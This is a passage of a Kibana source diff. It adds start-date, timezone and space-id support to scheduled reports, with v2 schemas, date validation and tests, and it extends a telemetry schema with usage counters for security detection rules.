startDate: string; + /** + * The timezone associated with the dates + */ + timezone: string; + /** + * Whether the report should be generated on a recurring schedule + */ recurring: boolean; + /** + * If recurring, the schedule for generating the report + */ recurringSchedule: RecurringSchedule; - sendByEmail: boolean; - emailRecipients: string[]; /** - * @internal Still unsupported by the schedule API + * Boolean indicating whether the report should be sent by email */ - startDate?: string; + sendByEmail: boolean; /** - * @internal Still unsupported by the schedule API + * List of email addresses to send the report to (`to` field in the email) */ - timezone?: string; + emailRecipients: string[]; } export interface ReportTypeData { diff --git a/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.test.ts b/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.test.ts index 9210ed4c55d80..4f4778032dfce 100644 --- a/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.test.ts +++ b/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.test.ts @@ -22,6 +22,7 @@ test('ScheduledReport should return correctly formatted outputs', () => { kibanaId: 'instance-uuid', kibanaName: 'kibana', queueTimeout: 120000, + spaceId: 'a-space', scheduledReport: { id: 'report-so-id-111', attributes: { @@ -81,6 +82,7 @@ test('ScheduledReport should return correctly formatted outputs', () => { version: '8.0.0', }, scheduled_report_id: 'report-so-id-111', + space_id: 'a-space', status: 'processing', started_at: expect.any(String), process_expiration: expect.any(String), @@ -103,6 +105,7 @@ test('ScheduledReport should return correctly formatted outputs', () => { status: 'processing', attempts: 1, started_at: expect.any(String), + space_id: 'a-space', migration_version: '7.14.0', output: {}, queue_time_ms: expect.any(Number), @@ -140,6 +143,7 @@ test('ScheduledReport should throw an error if report payload is malformed', () references: [], type: 'scheduled-report', }, + spaceId: 'another-space', }); }; expect(createInstance).toThrowErrorMatchingInlineSnapshot( @@ -154,6 +158,7 @@ test('ScheduledReport should throw an error if scheduled_report saved object is kibanaId: 'instance-uuid', kibanaName: 'kibana', queueTimeout: 120000, + spaceId: 'another-space', // @ts-expect-error - missing id scheduledReport: { attributes: { diff --git a/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.ts b/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.ts index bfd2cbde1727c..bd3a95e9b6e15 100644 --- a/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.ts +++ b/x-pack/platform/plugins/private/reporting/server/lib/store/scheduled_report.ts @@ -18,6 +18,7 @@ interface ConstructorOpts { kibanaId: string; kibanaName: string; queueTimeout: number; + spaceId: string; scheduledReport: SavedObject; } @@ -26,7 +27,7 @@ export class ScheduledReport extends Report { * Create a report from a scheduled_report saved object */ constructor(opts: ConstructorOpts) { - const { kibanaId, kibanaName, runAt, scheduledReport, queueTimeout } = opts; + const { kibanaId, kibanaName, runAt, scheduledReport, spaceId, queueTimeout } = opts; const now = moment.utc(); const startTime = now.toISOString(); const expirationTime = now.add(queueTimeout).toISOString(); @@ -62,6 +63,7 @@ export class ScheduledReport extends Report { started_at: startTime, timeout: queueTimeout, scheduled_report_id: scheduledReport.id, + space_id: spaceId, }, { queue_time_ms: [now.diff(moment.utc(runAt), 'milliseconds')] } ); diff --git a/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.test.ts b/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.test.ts index f1b2f70dde607..ca1106bd09230 100644 --- a/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.test.ts +++ b/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.test.ts @@ -337,6 +337,7 @@ describe('Run Scheduled Report Task', () => { kibana_name: 'kibana', kibana_id: 'instance-uuid', started_at: expect.any(String), + space_id: 'default', timeout: 120000, max_attempts: 1, process_expiration: expect.any(String), diff --git a/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.ts b/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.ts index 9452407be1342..f2316c8098646 100644 --- a/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.ts +++ b/x-pack/platform/plugins/private/reporting/server/lib/tasks/run_scheduled_report.ts @@ -66,6 +66,7 @@ export class RunScheduledReportTask extends RunReportTask { ); }); + test('creates a scheduled_report saved object and rrule dtstart', async () => { + const report = await requestHandler.enqueueJob({ + exportTypeId: 'printablePdfV2', + jobParams: mockJobParams, + schedule: { + rrule: { dtstart: '2025-06-23T14:17:19.765Z', freq: 1, interval: 2, tzid: 'UTC' }, + }, + }); + + const { id, created_at: _created_at, payload, ...snapObj } = report; + expect(snapObj).toMatchInlineSnapshot(` + Object { + "created_by": "testymcgee", + "jobtype": "printable_pdf_v2", + "meta": Object { + "isDeprecated": false, + "layout": "preserve_layout", + "objectType": "cool_object_type", + }, + "migration_version": "unknown", + "notification": undefined, + "schedule": Object { + "rrule": Object { + "dtstart": "2025-06-23T14:17:19.765Z", + "freq": 1, + "interval": 2, + "tzid": "UTC", + }, + }, + } + `); + expect(payload).toMatchInlineSnapshot(` + Object { + "browserTimezone": "UTC", + "isDeprecated": false, + "layout": Object { + "id": "preserve_layout", + }, + "locatorParams": Array [], + "objectType": "cool_object_type", + "title": "cool_title", + "version": "unknown", + } + `); + + expect(auditLogger.log).toHaveBeenCalledWith({ + event: { + action: 'scheduled_report_schedule', + category: ['database'], + outcome: 'unknown', + type: ['creation'], + }, + kibana: { + saved_object: { id: 'mock-report-id', name: 'cool_title', type: 'scheduled_report' }, + }, + message: 'User is creating scheduled report [id=mock-report-id] [name=cool_title]', + }); + + expect(soClient.create).toHaveBeenCalledWith( + 'scheduled_report', + { + jobType: 'printable_pdf_v2', + createdAt: expect.any(String), + createdBy: 'testymcgee', + title: 'cool_title', + enabled: true, + payload: JSON.stringify(payload), + schedule: { + rrule: { + dtstart: '2025-06-23T14:17:19.765Z', + freq: 1, + interval: 2, + tzid: 'UTC', + }, + }, + migrationVersion: 'unknown', + meta: { + objectType: 'cool_object_type', + layout: 'preserve_layout', + isDeprecated: false, + }, + }, + { id: 'mock-report-id' } + ); + + expect(reportingCore.scheduleRecurringTask).toHaveBeenCalledWith(mockRequest, { + id: 'foo', + jobtype: 'printable_pdf_v2', + schedule: { + rrule: { dtstart: '2025-06-23T14:17:19.765Z', freq: 1, interval: 2, tzid: 'UTC' }, + }, + }); + }); + test('throws errors from so client create', async () => { soClient.create = jest.fn().mockImplementationOnce(async () => { throw new Error('SO create error'); @@ -400,6 +494,34 @@ describe('Handle request to schedule', () => { expect(requestHandler.getSchedule()).toEqual({ rrule: { freq: 1, interval: 2 } }); }); + test('parse schedule with dtstart from body', () => { + // @ts-ignore body is a read-only property + mockRequest.body = { + jobParams: rison.encode(mockJobParams), + schedule: { rrule: { dtstart: '2025-06-23T14:17:19.765Z', freq: 1, interval: 2 } }, + }; + expect(requestHandler.getSchedule()).toEqual({ + rrule: { dtstart: '2025-06-23T14:17:19.765Z', freq: 1, interval: 2 }, + }); + }); + + test('handles invalid rrule.dtstart string', () => { + let error: { statusCode: number; body: string } | undefined; + try { + // @ts-ignore body is a read-only property + mockRequest.body = { + jobParams: rison.encode(mockJobParams), + schedule: { rrule: { dtstart: 'i am not a date', freq: 1, interval: 2 } }, + }; + requestHandler.getSchedule(); + } catch (err) { + error = err; + } + + expect(error?.statusCode).toBe(400); + expect(error?.body).toBe('Invalid startedAt date: i am not a date'); + }); + test('handles missing schedule', () => { let error: { statusCode: number; body: string } | undefined; try { diff --git a/x-pack/platform/plugins/private/reporting/server/routes/common/request_handler/schedule_request_handler.ts b/x-pack/platform/plugins/private/reporting/server/routes/common/request_handler/schedule_request_handler.ts index 2a37c9851334c..4440342224faa 100644 --- a/x-pack/platform/plugins/private/reporting/server/routes/common/request_handler/schedule_request_handler.ts +++ b/x-pack/platform/plugins/private/reporting/server/routes/common/request_handler/schedule_request_handler.ts @@ -9,7 +9,7 @@ import moment from 'moment'; import { schema } from '@kbn/config-schema'; import { isEmpty, omit } from 'lodash'; -import { RruleSchedule, scheduleRruleSchema } from '@kbn/task-manager-plugin/server'; +import { RruleSchedule, scheduleRruleSchemaV2 } from '@kbn/task-manager-plugin/server'; import { SavedObjectsUtils } from '@kbn/core/server'; import { IKibanaResponse } from '@kbn/core/server'; import { RawNotification } from '../../../saved_objects/scheduled_report/schemas/latest'; @@ -34,7 +34,7 @@ const MAX_ALLOWED_EMAILS = 30; const validation = { params: schema.object({ exportType: schema.string({ minLength: 2 }) }), body: schema.object({ - schedule: scheduleRruleSchema, + schedule: scheduleRruleSchemaV2, notification: schema.maybe(rawNotificationSchema), jobParams: schema.string(), }), @@ -85,6 +85,13 @@ export class ScheduleRequestHandler extends RequestHandler< }); } + if (rruleDef.dtstart && !moment(rruleDef.dtstart).isValid()) { + throw res.customError({ + statusCode: 400, + body: `Invalid startedAt date: ${rruleDef.dtstart}`, + }); + } + return schedule; } diff --git a/x-pack/platform/plugins/private/reporting/server/routes/common/scheduled/scheduled_query.test.ts b/x-pack/platform/plugins/private/reporting/server/routes/common/scheduled/scheduled_query.test.ts index e553bdee2ecf5..a999c43311e7a 100644 --- a/x-pack/platform/plugins/private/reporting/server/routes/common/scheduled/scheduled_query.test.ts +++ b/x-pack/platform/plugins/private/reporting/server/routes/common/scheduled/scheduled_query.test.ts @@ -1137,6 +1137,85 @@ describe('transformResponse', () => { }); }); + it('should correctly transform the responses with rrule.dtstart field', () => { + expect( + transformResponse( + mockLogger, + { + ...soResponse, + saved_objects: savedObjects.map((so) => ({ + ...so, + attributes: { + ...so.attributes, + schedule: { + ...so.attributes.schedule, + rrule: { + ...so.attributes.schedule.rrule, + dtstart: new Date().toISOString(), + }, + }, + }, + score: 0, + })), + }, + lastRunResponse + ) + ).toEqual({ + page: 1, + per_page: 10, + total: 2, + data: [ + { + id: 'aa8b6fb3-cf61-4903-bce3-eec9ddc823ca', + created_at: '2025-05-06T21:10:17.137Z', + created_by: 'elastic', + enabled: true, + jobtype: 'printable_pdf_v2', + last_run: '2025-05-06T12:00:00.500Z', + next_run: expect.any(String), + payload: jsonPayload, + schedule: { + rrule: { + dtstart: expect.any(String), + freq: 3, + interval: 3, + byhour: [12], + byminute: [0], + tzid: 'UTC', + }, + }, + space_id: 'a-space', + title: '[Logs] Web Traffic', + }, + { + id: '2da1cb75-04c7-4202-a9f0-f8bcce63b0f4', + created_at: '2025-05-06T21:12:06.584Z', + created_by: 'not-elastic', + enabled: true, + jobtype: 'PNGV2', + last_run: '2025-05-06T21:12:07.198Z', + next_run: expect.any(String), + notification: { + email: { + to: ['user@elastic.co'], + }, + }, + payload: jsonPayload, + title: 'Another cool dashboard', + schedule: { + rrule: { + dtstart: expect.any(String), + freq: 1, + interval: 3, + tzid: 'UTC', + }, + }, + space_id: 'a-space', + }, + ], + }); + }); + it('handles malformed payload', () => { const malformedSo = { ...savedObjects[0], diff --git a/x-pack/platform/plugins/private/reporting/server/routes/internal/schedule/integration_tests/scheduling_from_jobparams.test.ts b/x-pack/platform/plugins/private/reporting/server/routes/internal/schedule/integration_tests/scheduling_from_jobparams.test.ts index 8f45317e886f7..62906ac49d956 100644 --- a/x-pack/platform/plugins/private/reporting/server/routes/internal/schedule/integration_tests/scheduling_from_jobparams.test.ts +++ b/x-pack/platform/plugins/private/reporting/server/routes/internal/schedule/integration_tests/scheduling_from_jobparams.test.ts @@ -203,6 +203,28 @@ describe(`POST ${INTERNAL_ROUTES.SCHEDULE_PREFIX}`, () => { ); }); + it('returns 400 on invalid rrule.dtstart date', async () => { + registerScheduleRoutesInternal(reportingCore, mockLogger); + + await server.start(); + + await supertest(httpSetup.server.listener) + .post(`${INTERNAL_ROUTES.SCHEDULE_PREFIX}/printablePdfV2`) + .send({ + jobParams: rison.encode({ browserTimezone: 'America/Amsterdam', title: `abc` }), + schedule: { rrule: { dtstart: '2025-06-23T14:1719.765Z', freq: 1, interval: 2 } }, + }) + .expect(400) + .then(({ body }) => + expect(body.message).toMatchInlineSnapshot(` + "[request body.schedule.rrule]: types that failed validation: + - [request body.schedule.rrule.0.dtstart]: Invalid date: 2025-06-23T14:1719.765Z + - [request body.schedule.rrule.1.freq]: expected value to equal [2] + - [request body.schedule.rrule.2.freq]: expected value to equal [3]" + `) + ); + }); + it('returns 400 on invalid notification list', async () => { registerScheduleRoutesInternal(reportingCore, mockLogger); @@ -333,7 +355,7 @@ describe(`POST ${INTERNAL_ROUTES.SCHEDULE_PREFIX}`, () => { bcc: ['single@email.com'], }, }, - schedule: { rrule: { freq: 1, interval: 2 } }, + schedule: { rrule: { dtstart: '2025-06-23T14:17:19.765Z', freq: 1, interval: 2 } }, }) .expect(200) .then(({ body }) => { @@ -351,7 +373,7 @@ describe(`POST ${INTERNAL_ROUTES.SCHEDULE_PREFIX}`, () => { title: 'abc', version: '7.14.0', }, - schedule: { rrule: { freq: 1, interval: 2 } }, + schedule: { rrule: { dtstart: '2025-06-23T14:17:19.765Z', freq: 1, interval: 2 } }, }, }); }); diff --git a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/model_versions.ts b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/model_versions.ts index 4123d20974d6c..cd5c9e178aea0 100644 --- a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/model_versions.ts +++ b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/model_versions.ts @@ -6,7 +6,7 @@ */ import type { SavedObjectsModelVersionMap } from '@kbn/core-saved-objects-server'; -import { rawScheduledReportSchemaV1 } from './schemas'; +import { rawScheduledReportSchemaV1, rawScheduledReportSchemaV2 } from './schemas'; export const scheduledReportModelVersions: SavedObjectsModelVersionMap = { '1': { @@ -16,4 +16,11 @@ export const scheduledReportModelVersions: SavedObjectsModelVersionMap = { create: rawScheduledReportSchemaV1, }, }, + '2': { + changes: [], + schemas: { + forwardCompatibility: rawScheduledReportSchemaV2.extends({}, { unknowns: 'ignore' }), + create: rawScheduledReportSchemaV2, + }, + }, }; diff --git a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/index.ts b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/index.ts index 6df4417bb6cef..aab43f7ce8a71 100644 --- a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/index.ts +++ b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/index.ts @@ -6,3 +6,4 @@ */ export { rawScheduledReportSchema as rawScheduledReportSchemaV1 } from './v1'; +export { rawScheduledReportSchema as rawScheduledReportSchemaV2 } from './v2'; diff --git a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/latest.ts b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/latest.ts index 6f684f9d7cbd7..826e0f22366b4 100644 --- a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/latest.ts +++ b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/latest.ts @@ -6,7 +6,7 @@ */ import type { TypeOf } from '@kbn/config-schema'; -import type { rawNotificationSchema, rawScheduledReportSchema } from './v1'; +import type { rawNotificationSchema, rawScheduledReportSchema } from './v2'; export type RawNotification = TypeOf; export type RawScheduledReport = TypeOf; diff --git a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/v1.ts b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/v1.ts index 4a5dcced733ba..3ae2c39564fb2 100644 --- a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/v1.ts +++ b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/v1.ts @@ -6,7 +6,7 @@ */ import { schema } from '@kbn/config-schema'; -import { scheduleRruleSchema } from '@kbn/task-manager-plugin/server'; +import { scheduleRruleSchemaV1 } from '@kbn/task-manager-plugin/server'; const rawLayoutIdSchema = schema.oneOf([ schema.literal('preserve_layout'), @@ -52,6 +52,6 @@ export const rawScheduledReportSchema = schema.object({ migrationVersion: schema.maybe(schema.string()), notification: schema.maybe(rawNotificationSchema), payload: schema.string(), - schedule: scheduleRruleSchema, + schedule: scheduleRruleSchemaV1, title: schema.string(), }); diff --git a/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/v2.ts b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/v2.ts new file mode 100644 index 0000000000000..b7085c333eeda --- /dev/null +++ b/x-pack/platform/plugins/private/reporting/server/saved_objects/scheduled_report/schemas/v2.ts @@ -0,0 +1,14 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { scheduleRruleSchemaV2 } from '@kbn/task-manager-plugin/server'; +import { rawScheduledReportSchema as rawScheduledReportSchemaV1 } from './v1'; +export * from './v1'; + +export const rawScheduledReportSchema = rawScheduledReportSchemaV1.extends({ + schedule: scheduleRruleSchemaV2, +}); diff --git a/x-pack/platform/plugins/private/reporting/tsconfig.json b/x-pack/platform/plugins/private/reporting/tsconfig.json index 61c4266ab83ff..bd7bdca9d183f 100644 --- a/x-pack/platform/plugins/private/reporting/tsconfig.json +++ b/x-pack/platform/plugins/private/reporting/tsconfig.json @@ -65,7 +65,8 @@ "@kbn/core-http-browser", "@kbn/response-ops-recurring-schedule-form", "@kbn/core-mount-utils-browser-internal", - "@kbn/core-user-profile-browser" + "@kbn/core-user-profile-browser", + "@kbn/core-ui-settings-common" ], "exclude": ["target/**/*"] } diff --git a/x-pack/platform/plugins/private/telemetry_collection_xpack/schema/xpack_security.json b/x-pack/platform/plugins/private/telemetry_collection_xpack/schema/xpack_security.json index fead301fbf74f..81ee99bd748d3 100644 --- a/x-pack/platform/plugins/private/telemetry_collection_xpack/schema/xpack_security.json +++ b/x-pack/platform/plugins/private/telemetry_collection_xpack/schema/xpack_security.json @@ -496,6 +496,954 @@ "description": "Number of notifications enabled" } }, + "notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of notifications disabled" + } + }, + "legacy_investigation_fields": { + "type": "long", + "_meta": { + "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + } + }, + "alert_suppression": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled query rules configured with suppression" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled query rules configured with suppression" + } + }, + "suppressed_fields_count": { + "properties": { + "one": { + "type": "long", + "_meta": { + "description": "Number of query rules configured with one suppression field" + } + }, + "two": { + "type": "long", + "_meta": { + "description": "Number of query rules configured with two suppression fields" + } + }, + "three": { + "type": "long", + "_meta": { + "description": "Number of query rules configured with three suppression fields" + } + } + } + }, + "suppressed_per_time_period": { + "type": "long", + "_meta": { + "description": "Number of query rules configured with suppression per time period" + } + }, + "suppressed_per_rule_execution": { + "type": "long", + "_meta": { + "description": "Number of query rules configured with suppression per rule execution" + } + }, + "suppresses_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of query rules configured to suppress alerts with missing fields" + } + }, + "does_not_suppress_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of query rules configured do not suppress alerts with missing fields" + } + } + } + }, + "response_actions": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled query rules configured with response actions" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled query rules configured with response actions" + } + }, + "response_actions": { + "properties": { + "endpoint": { + "type": "long", + "_meta": { + "description": "Number of endpoint response actions within query rules" + } + }, + "osquery": { + "type": "long", + "_meta": { + "description": "Number of osquery response actions within query rules" + } + } + } + } + } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of query rules with exceptions" + } + } + } + }, + "query_custom": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of custom query rules enabled" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of custom query rules disabled" + } + }, + "alerts": { + "type": "long", + "_meta": { + "description": "Number of alerts generated by custom query rules" + } + }, + "cases": { + "type": "long", + "_meta": { + "description": "Number of cases attached to custom query detection rule alerts" + } + }, + "legacy_notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom query detection rules with legacy notifications enabled" + } + }, + "legacy_notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom query detection rules with legacy notifications disabled" + } + }, + "notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom query detection rules with custom notifications enabled" + } + }, + "notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom query detection rules with custom notifications disabled" + } + }, + "legacy_investigation_fields": { + "type": "long", + "_meta": { + "description": "Number of custom query detection rules using the legacy investigation fields type introduced only in 8.10 ESS" + } + }, + "alert_suppression": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled custom query rules configured with suppression" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled custom query rules configured with suppression" + } + }, + "suppressed_fields_count": { + "properties": { + "one": { + "type": "long", + "_meta": { + "description": "Number of custom query rules configured with one suppression field" + } + }, + "two": { + "type": "long", + "_meta": { + "description": "Number of custom query rules configured with two suppression field" + } + }, + "three": { + "type": "long", + "_meta": { + "description": "Number of custom query rules configured with three suppression field" + } + } + } + }, + "suppressed_per_time_period": { + "type": "long", + "_meta": { + "description": "Number of custom query rules configured with suppression per time period" + } + }, + "suppressed_per_rule_execution": { + "type": "long", + "_meta": { + "description": "Number of custom query rules configured with suppression per rule execution" + } + }, + "suppresses_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of custom query rules configured to suppress alerts with missing fields" + } + }, + "does_not_suppress_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of custom query rules configured do not suppress alerts with missing fields" + } + } + } + }, + "response_actions": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled custom query rules configured with response actions" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled custom query rules configured with response actions" + } + }, + "response_actions": { + "properties": { + "endpoint": { + "type": "long", + "_meta": { + "description": "Number of endpoint response actions within custom query rules" + } + }, + "osquery": { + "type": "long", + "_meta": { + "description": "Number of osquery response actions within custom query rules" + } + } + } + } + } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom query rules with exceptions" + } + } + } + }, + "threshold": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of threshold rules enabled" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of threshold rules disabled" + } + }, + "alerts": { + "type": "long", + "_meta": { + "description": "Number of alerts generated by threshold rules" + } + }, + "cases": { + "type": "long", + "_meta": { + "description": "Number of cases attached to threshold detection rule alerts" + } + }, + "legacy_notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of legacy notifications enabled" + } + }, + "legacy_notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of legacy notifications disabled" + } + }, + "notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of notifications enabled" + } + }, + "notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of notifications enabled" + } + }, + "legacy_investigation_fields": { + "type": "long", + "_meta": { + "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + } + }, + "alert_suppression": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled threshold rules configured with suppression" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled threshold rules configured with suppression" + } + }, + "suppressed_fields_count": { + "properties": { + "one": { + "type": "long", + "_meta": { + "description": "Number of threshold rules configured with one suppression field" + } + }, + "two": { + "type": "long", + "_meta": { + "description": "Number of threshold rules configured with two suppression field" + } + }, + "three": { + "type": "long", + "_meta": { + "description": "Number of threshold rules configured with three suppression field" + } + } + } + }, + "suppressed_per_time_period": { + "type": "long", + "_meta": { + "description": "Number of threshold rules configured with suppression per time period" + } + }, + "suppressed_per_rule_execution": { + "type": "long", + "_meta": { + "description": "Number of threshold rules configured with suppression per rule execution" + } + }, + "suppresses_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of threshold rules configured to suppress alerts with missing fields" + } + }, + "does_not_suppress_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of threshold rules configured do not suppress alerts with missing fields" + } + } + } + }, + "response_actions": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled threshold rules configured with response actions" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled threshold rules configured with response actions" + } + }, + "response_actions": { + "properties": { + "endpoint": { + "type": "long", + "_meta": { + "description": "Number of endpoint response actions within threshold rules" + } + }, + "osquery": { + "type": "long", + "_meta": { + "description": "Number of osquery response actions within threshold rules" + } + } + } + } + } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of threshold rules with exceptions" + } + } + } + }, + "threshold_custom": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules enabled" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules disabled" + } + }, + "alerts": { + "type": "long", + "_meta": { + "description": "Number of alerts generated by custom threshold rules" + } + }, + "cases": { + "type": "long", + "_meta": { + "description": "Number of cases attached to custom threshold detection rule alerts" + } + }, + "legacy_notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules with legacy notifications enabled" + } + }, + "legacy_notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules with legacy notifications disabled" + } + }, + "notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules with notifications enabled" + } + }, + "notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules with notifications disabled" + } + }, + "legacy_investigation_fields": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules using the legacy investigation fields type introduced only in 8.10 ESS" + } + }, + "alert_suppression": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled custom threshold rules configured with suppression" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled custom threshold rules configured with suppression" + } + }, + "suppressed_fields_count": { + "properties": { + "one": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules configured with one suppression field" + } + }, + "two": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules configured with two suppression field" + } + }, + "three": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules configured with three suppression field" + } + } + } + }, + "suppressed_per_time_period": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules configured with suppression per time period" + } + }, + "suppressed_per_rule_execution": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules configured with suppression per rule execution" + } + }, + "suppresses_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules configured to suppress alerts with missing fields" + } + }, + "does_not_suppress_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules configured do not suppress alerts with missing fields" + } + } + } + }, + "response_actions": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled custom threshold rules configured with response actions" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled custom threshold rules configured with response actions" + } + }, + "response_actions": { + "properties": { + "endpoint": { + "type": "long", + "_meta": { + "description": "Number of endpoint response actions within custom threshold rules" + } + }, + "osquery": { + "type": "long", + "_meta": { + "description": "Number of osquery response actions within custom threshold rules" + } + } + } + } + } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom threshold rules with exceptions" + } + } + } + }, + "eql": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of eql rules enabled" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of eql rules disabled" + } + }, + "alerts": { + "type": "long", + "_meta": { + "description": "Number of alerts generated by eql rules" + } + }, + "cases": { + "type": "long", + "_meta": { + "description": "Number of cases attached to eql detection rule alerts" + } + }, + "legacy_notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of legacy notifications enabled" + } + }, + "legacy_notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of legacy notifications disabled" + } + }, + "notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of notifications enabled" + } + }, + "notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of notifications enabled" + } + }, + "legacy_investigation_fields": { + "type": "long", + "_meta": { + "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + } + }, + "alert_suppression": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled eql rules configured with suppression" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled eql rules configured with suppression" + } + }, + "suppressed_fields_count": { + "properties": { + "one": { + "type": "long", + "_meta": { + "description": "Number of eql rules configured with one suppression field" + } + }, + "two": { + "type": "long", + "_meta": { + "description": "Number of eql rules configured with two suppression field" + } + }, + "three": { + "type": "long", + "_meta": { + "description": "Number of eql rules configured with three suppression field" + } + } + } + }, + "suppressed_per_time_period": { + "type": "long", + "_meta": { + "description": "Number of eql rules configured with suppression per time period" + } + }, + "suppressed_per_rule_execution": { + "type": "long", + "_meta": { + "description": "Number of eql rules configured with suppression per rule execution" + } + }, + "suppresses_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of eql rules configured to suppress alerts with missing fields" + } + }, + "does_not_suppress_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of eql rules configured do not suppress alerts with missing fields" + } + } + } + }, + "response_actions": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled eql rules configured with response actions" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled eql rules configured with response actions" + } + }, + "response_actions": { + "properties": { + "endpoint": { + "type": "long", + "_meta": { + "description": "Number of endpoint response actions within eql rules" + } + }, + "osquery": { + "type": "long", 